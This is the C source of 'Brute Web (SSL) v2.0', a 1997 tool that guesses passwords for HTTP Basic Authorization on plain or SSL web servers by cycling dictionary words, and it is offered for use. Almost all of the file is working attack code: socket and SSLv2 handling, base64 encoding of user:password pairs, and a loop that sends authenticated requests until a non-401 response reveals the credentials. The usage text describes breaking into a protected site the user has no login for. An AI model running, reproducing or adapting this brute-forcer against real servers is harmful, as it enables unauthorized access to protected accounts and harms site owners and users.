/* 
 *
 *                 Brute Web (SSL) v2.0
 *                Coded by BeastMaster V
 *		    September 13,1997
 *
 * [NOTES]
 * This program was written to illustrate what I see as
 * a weakness with HTTP Basic Authorization. The HTTP protocol
 * let's you get away with making as many guesses as you 
 * wish to make when it comes to Basic Authorization. This
 * program will connect to a regular or secure web server and
 * try multiple username/password combinations until it finds
 * the right one and prints out what the username and password 
 * was for the protected realm. I have only tested this on
 * Linux, so you might have to do a little porting to get it
 * to work on other platforms. It should be simple though.
 * 
 * [HOWTO]
 * To get up and running, you will first need to ftp the SSLeay
 * libraries from ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/
 * This was written to work with SSLeay-0.8.0. Now after you
 * get this compiled and installed, you can build this program
 * with a command like:
 * cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \ 
 *                  -L/usr/local/ssl/lib -lssl -lcrypto
 * Run the binary without any arguments to see the parameters
 * that the program takes.
 *
 * [COMMENTS]
 * All comments, gripes, flames, etc. should be sent to
 * 	bryan@scott.net
 * 
 * [DISCLAIMER]
 * I am not responsible for anything you do with this,
 * so please use this program in a responsible manner.
 *
 * [WARNING]
 * If the webserver you are using this on does logging, then
 * it will be quite obvious that you are attacking.
 *
 */

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>

#include <rsa.h>
#include <crypto.h>
#include <x509.h>
#include <pem.h>
#include <ssl.h>
#include <err.h>

extern int errno, h_errno;

#define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf))
#define newstr(s) strcpy(malloc(strlen(s)+1),s)
#define HTTPD_UNAUTHORIZED 401
#define FL __FILE__,__LINE__
#define MAXDICTWORD 64
#define MAXNAMEPASSLEN 128
#define MAXENCODEDSTRING 256
#define MAXSENDSTRING 300
#define HAS_DICTIONARY 0x0001
#define HAS_USERNAME   0x0002
#define HAS_PORTNUMBER 0x0004
#define HAS_HOSTNAME   0x0008
#define HAS_VERBOSE    0x0010
#define HAS_SSL_OPT    0x0020
#define HAS_REALM      0x0040
#define HAS_DONE_IT    0x0080
#if SSLEAY_VERSION_NUMBER >= 0x0800
#define SSLEAY8
#endif

char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char *prg_nme;
int mask;
 
struct BASE64_PARAMS
{
	unsigned long int accum;
	int shift;
	int save_shift;
};

/* BeastMaster V's error logging function */
void proc_err(char *func,char *file,int line,const char *fmt, ...)
{
        va_list args;
	
        if (prg_nme!=NULL)
                fprintf(stderr,"[%s]", prg_nme);

        va_start(args, fmt);

	fprintf(stderr," %s() ",func);
	fprintf(stderr,"<file:%s line:%d> : ",file,line);
	vfprintf(stderr, fmt, args);
        fputc('\n', stderr); 
        fflush(stderr);

	va_end(args);
}

/* an implementation of signal() based on sigaction() */
void (*r_signal(int sig,void(*func)())) (int)
{
        struct sigaction act, oact;
        act.sa_handler = func;
        sigemptyset(&act.sa_mask);
        act.sa_flags = 0;
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif
        if (sigaction(sig, &act, &oact) < 0)
                return (SIG_ERR);
        return (oact.sa_handler);
}

/* function to read into a buffer over an SSL connection */
int SSL_readln(SSL *ssl_con, char *buf, int buf_size)
{
	int i=0,done=0,w;
	char tmp[1];

	*(buf+0)='\0';
	while (!done)
	{
		if (i==(buf_size-1))
			break;
		w=SSL_read(ssl_con,tmp,1);
		if (w<0)
			return -1;
		if (w==0) return 0;
		if (tmp[0]!=0)
			*(buf+i)=tmp[0];
		if (*(buf+i)=='\n')
			done=1;
		i++;
	}
	*(buf+i)='\0';
	return(i);
}

/* read from socket into a buffer until sizeof(buffer) or newline */
int socket_readln(int s,char *buf,short len)
{
        int i=0, w;
        char tmp[1];
	short done=0; 
 
        while (!done) {
		if (i==len)
			break;
                w=read(s ,tmp, 1);
                if (w==0)  return 0;
                if (tmp[0] != 0) {
                        *(buf+i) = tmp[0];
		}
                if (tmp[0]=='\n') {
                        done = 1;
                }
                i++;
        }
        *(buf+i)='\0';
        return (i);
}

/* base64 encode an arbitrary string */
int base64_encode(int quit,struct BASE64_PARAMS *e_p,char *string_to_encode,char *buf_64)
{
	int index;
	unsigned long int value;
	unsigned char blivit;
	int z=0;

	index = 0;
	while((*(string_to_encode+z))||(e_p->shift!=0))
	{
		if ((*(string_to_encode+z))&&(quit==0))
		{
			blivit = *(string_to_encode +z);
			z++;
			if (*(string_to_encode+z)==0)
         		{
				quit = 1;
            			e_p->save_shift=e_p->shift;
            			blivit=0;
         		}
      		}
		else
		{
         		quit=1;
         		e_p->save_shift=e_p->shift;
         		blivit=0;
      		}
		if ((quit==0)||(e_p->shift!= 0))
      		{
         		value=(unsigned long)blivit;
         		e_p->accum <<= 8;
         		e_p->shift += 8;
         		e_p->accum |= value;
      		} 
		while (e_p->shift >= 6)
		{
			e_p->shift -= 6;
         		value = (e_p->accum >> e_p->shift) & 0x3Fl;
         		blivit = alphabet[value];
         		*(buf_64+(index++)) = blivit;
        		if (index >= 60)
         		{
            			*(buf_64+index)='\0';
            			index = 0;
         		}
        		if ( quit != 0 )
				e_p->shift = 0;
		}
	}
	if (e_p->save_shift==2)
	{
		*(buf_64+(index++))='=';
		if (index>=60)
		{
			*(buf_64+index)='\0';
			index=0;
		}
		*(buf_64+(index++))='=';
		if (index>=60 )
		{
			*(buf_64+index)='\0';
			index=0;
		}
	}
	else if (e_p->save_shift==4)
	{
		*(buf_64+(index++))='=';
		if (index>=60)
		{
			*(buf_64+index)='\0';
			index=0;
		}
	}
	if (index!=0)
		*(buf_64+index)='\0';

   return quit;
}

/* takes string to encode and a user supplied buffer as parameters */
void encode_string (char *name_pass,char *buf_64)
{
	struct BASE64_PARAMS e_p;
	int quit=0;
	register int i;
	char s[MAXNAMEPASSLEN+3];

	e_p.shift = 0;
	e_p.accum = 0;
  
	sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1));
	base64_encode(quit, &e_p, s,buf_64);

	return;
}

/* check the web server's HTTP response headers */
short check_response (char *response)
{
	short ScanCount;
	int httpd_code;
	short version;

	ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code);
	if (ScanCount!=2)
		return 0;

	if (httpd_code==HTTPD_UNAUTHORIZED)
		return 0;
	else
		return 1;
}

/* reads a line from a file */
short read_line(FILE *fp, char *buf)
{
	int c;
	short done=0;
	short i=0;

	while (!done)
	{
		c=fgetc(fp);
		if (c==EOF)
			return 0;
		if (c=='\n')
		{
			done=1;
			break;
		}
		if (c)
			*(buf+i)=c;
		i++;
	}
	
	*(buf+i)='\0';
	return i;
}

void terminate (int sig)
{
	proc_err("terminate",FL,"[%s] has caught %d (%s)",
	prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV");
	exit(EXIT_FAILURE);
}

/* creates a TCP socket and connects it to a peer */
int make_socket(char *in_host,unsigned short port_num)
{
	int sd, err;
	struct hostent *hp=NULL;
	struct sockaddr_in sa;

	sd=socket(AF_INET, SOCK_STREAM, 0);
	if (sd==-1)
	{
		proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}

	hp=gethostbyname(in_host);
	if (!hp)
	{
		if (h_errno==HOST_NOT_FOUND)
			proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host);
		else
			proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host);
		exit(EXIT_FAILURE);
	}

	bzero(&sa,sizeof(sa));
	sa.sin_family=hp->h_addrtype;
	bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length);
	sa.sin_port=htons(port_num);

	err=connect(sd, (struct sockaddr *)&sa,sizeof(sa));
	if (err==-1)
	{
		proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}
	return sd;
}
	
/* prints the program usage */
void print_usage()
{
	int x;
	char messages[][255] = 
	{
		"\n\t'%s [options]'\n\n",
		"Options:\n",
		"\t-v   <optional> verbose mode (print responses to stdout)\n",
		"\t-z   <optional> SSL flag (use this for secure servers)\n",
		"\t-d   dictionary file (full path to dictionary file)\n",
		"\t-u   username (a user on the target webserver)\n",
		"\t-h   hostname (host running the webserver)\n",
		"\t-p   portnumber (port that the webserver runs on)\n",
		"\t-r   realm (the full path to the protected realm)\n\n",
		"Example:\n",
		"\tSay everytime I type https://www.somewhere.com/protected\n",
		"\tinto netscape, a box pops up and asks me to enter in a\n",
		"\tUser ID and password. Well, I have no idea what User ID\n",
		"\tor password to enter in, so I'll try to 'guess' my way in.\n",
		"\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n",
		"\ta username of \"foo\". Now I can type a command like:\n",
		"\n",
		" %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n",
		"\n",
		"\tNow with any luck I'll eventually see a username and password.\n",
		"\ti.e:   ----USERNAME=foo   PASSWORD=foopass----\n\n",
		"\0"	
	};
	
	fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n");
	for(x=0; *messages[x]!='\0';x++)
		fprintf(stderr, messages[x], prg_nme);
}

/* brute_ssl */
int main (unsigned int argc,char **argv, char **envp)
{
	int err=0, sd,in_port=0, try=0;
	char c, *export_buf=NULL;
	SSL *ssl_con=NULL;
	SSL_CTX *ssl_ctx=NULL;
	unsigned long ssl_err;
	FILE *dict_fd=NULL;
	char *dict_name=NULL,*in_host=NULL;
	char *user=NULL,*realm=NULL, *dict_word=NULL;
	char *name_pass_buf=NULL, *encoded_buf=NULL;
	char *p_title=NULL;

	if ((prg_nme=strrchr(argv[0],'/')))
		++prg_nme;
	else
		prg_nme=argv[0];

	mask=0;

	while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF)
	{
		switch(c)
		{
			case 'v':
				mask|=HAS_VERBOSE;
				break;
			case 'z':
				mask|=HAS_SSL_OPT;
				break;
			case 'd':
				dict_name=optarg;
				mask|=HAS_DICTIONARY;
				break;
			case 'u':
				user=optarg;
				mask|=HAS_USERNAME;
				break;
			case 'h':
				in_host=optarg;
				mask|=HAS_HOSTNAME;
				break;
			case 'p':
				in_port=atoi(optarg);
				if (!in_port)
					err++;
				mask|=HAS_PORTNUMBER;
				break;
			case 'r':
				realm=optarg;
				mask|=HAS_REALM;
				break;
			case '?':
				err++;
		}
	}

	if ((optind<argc)||err)
	{
		print_usage();
		exit(EXIT_FAILURE);
	}

	if ((!(mask&HAS_HOSTNAME))||(!(mask&HAS_PORTNUMBER))||
	    (!(mask&HAS_USERNAME))||(!(mask&HAS_DICTIONARY))||(!(mask&HAS_REALM)))
	{
		print_usage();
		exit(EXIT_FAILURE);
	}

	r_signal(SIGPIPE,SIG_IGN);
	r_signal(SIGINT,terminate);
	r_signal(SIGSEGV,terminate);

	dict_word=(char *)malloc(MAXDICTWORD);
	if (!dict_word)
	{
		proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}

	name_pass_buf=(char *)malloc(MAXNAMEPASSLEN);
	if (!name_pass_buf)
	{
		proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}

	encoded_buf=(char *)malloc(MAXENCODEDSTRING);
	if (!encoded_buf)
	{
		proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}

	export_buf=(char *)malloc(MAXSENDSTRING);
	if (!export_buf)
	{
		proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}
	
	dict_fd=fopen(dict_name,"r");
	if (dict_fd==NULL)
	{
		proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno));
		exit(EXIT_FAILURE);
	}


	if (mask & HAS_SSL_OPT)
	{
		SSLeay_add_ssl_algorithms();
		SSL_load_error_strings();
		ssl_ctx = SSL_CTX_new(SSLv2_client_method());
		if (!ssl_ctx)
		{
			proc_err("main",FL,"Call to SSL_CTX_new return a NULL");
			exit(EXIT_FAILURE);
		}
	}


	while (read_line(dict_fd,dict_word))
	{
		sd=make_socket(in_host,in_port);

		if (mask & HAS_SSL_OPT)
		{
			ssl_con=SSL_new(ssl_ctx);
			if (!ssl_con)
			{
				proc_err("main",FL,"SSL_new() returned NULL.");
				exit(EXIT_FAILURE);
			}
			SSL_set_fd (ssl_con, sd);
			ssl_err=SSL_connect(ssl_con);
			if (ssl_err<=0)
			{
				ssl_err=ERR_get_error();
				proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf));
				exit(EXIT_FAILURE);
			}
		}
		
		sprintf(name_pass_buf,"%s:%s",user,dict_word);
		encode_string(name_pass_buf,encoded_buf); 
		sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf);

		try++;

		if (mask & HAS_SSL_OPT)
		{
			SSL_write(ssl_con,export_buf,strlen(export_buf));
			SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1);
			if (mask & HAS_VERBOSE)
				fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
		}
		else
		{
			write(sd,export_buf,strlen(export_buf));
			socket_readln(sd,export_buf,MAXSENDSTRING-1);
			if (mask & HAS_VERBOSE)
				fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
		}

		if (check_response(export_buf))
		{
			mask |=HAS_DONE_IT;
			break;
		}

		if (mask & HAS_VERBOSE)
		{
			if (mask & HAS_SSL_OPT)
			{
				while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1))
					fprintf(stdout,"%s",export_buf);
			}
			else
			{
				while(socket_readln(sd,export_buf,MAXSENDSTRING-1))
					fprintf(stdout,"%s",export_buf);
			}
		}

		close(sd);

		if (mask & HAS_SSL_OPT)
			SSL_free(ssl_con);
	}

	if (mask & HAS_DONE_IT)
		fprintf(stdout,"\n\n\t----USERNAME=%s   PASSWORD=%s----\n\n",user,dict_word);
	else
		fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n");

	free(dict_word);
	free(name_pass_buf);
	free(export_buf);
	if (mask & HAS_SSL_OPT)
		SSL_CTX_free(ssl_ctx);
}
